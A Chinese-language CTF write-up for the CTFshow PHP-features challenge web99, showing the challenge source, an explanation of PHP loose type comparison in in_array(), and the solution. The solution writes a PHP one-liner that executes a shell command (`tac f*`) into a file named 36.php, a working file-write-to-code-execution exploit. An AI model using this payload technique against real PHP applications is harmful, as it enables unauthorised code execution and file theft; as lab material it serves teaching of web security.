CTFshow php特性 web99
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com*/highlight_file(__FILE__);
$allow = array(); //$allow = [];
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); //$allow数组中随机传入[1,$i]的值
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); //往文件写入内容
}?>
思路
(Hex)0x36d = (Dec)877
array_push 向数组尾部随机插入一个元素
in_array() 函数搜索数组中是否存在指定的值。
正常流程看起来没什么漏洞,但是ctf一定有解
查了一下in_array()
type参数是判断数据类型是否相同,突然想起来$array
数组里面的是int,我们传入的是字符串,在php字符串和int比较,字符串会被转换成int,因为是弱类型转换,所以 字符串中数字后面的字符串会被忽略
由于in_array没有设置type,我们可以输入36.php,转换之后也就是36,肯定是in_array的,满足条件
题解
多试几次
get: n=36.php
post: content=<?=`tac f*`;
总结
水题
CTFshow php特性 web99相关推荐
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web150
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web140
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web138
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web137
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 第三篇 :Mysql存储引擎、数据导入导出、管理表记录、匹配条件
- python不同版本共存_多版本Python共存的配置方法
- stm32_DMA采集一个AD数据_并通过DMA向串口发送
- elementui 弹窗 显示详细信息_ElementUI中el-table双击单元格事件并获取指定列的值和弹窗显示详细信息...
- [coursera] [design] Hangman
- 智能会议系统(5)---SipDemo
- 深度学习——卷积块回顾
- Rhino基础教程---三管混接
- web安全工具库(笔记)----端口扫描(端口扫描器.exe)
- linux服务器系统时间和bios时间,Linux系统时间, 硬件BIOS时间的校准与同步
- 十条网站盈利模式分析总结
- 流利阅读 2019.1.22 Theresa May loses big over her Brexit deal
- 【教程】win10下安装Biolinux双系统
- 【Android 11】【WiFi模块】WiFi打开函数调用流程图
- 私钥,公钥,密钥的理解,不要钻死胡同
- JavaScript专题(三)防抖
- llmp重启mysql_LNMP使用中mysql宕机挂掉后自动重启脚本 - 老牛博客
- 数组的趣味应用-鲁智深吃馒头
- Python3,1行代码,制作GUI图形界面,果然被种草了。
- ElasticSearch基本操作手册